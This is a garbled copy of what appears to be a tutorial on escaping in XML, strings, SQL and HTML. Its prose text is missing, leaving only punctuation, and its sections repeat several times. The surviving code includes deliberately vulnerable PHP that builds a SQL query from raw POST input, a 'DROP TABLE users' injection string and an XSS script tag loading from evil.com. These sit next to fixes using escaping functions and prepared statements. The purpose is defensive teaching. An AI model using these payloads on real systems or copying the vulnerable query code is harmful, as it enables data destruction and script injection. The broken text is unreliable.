<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
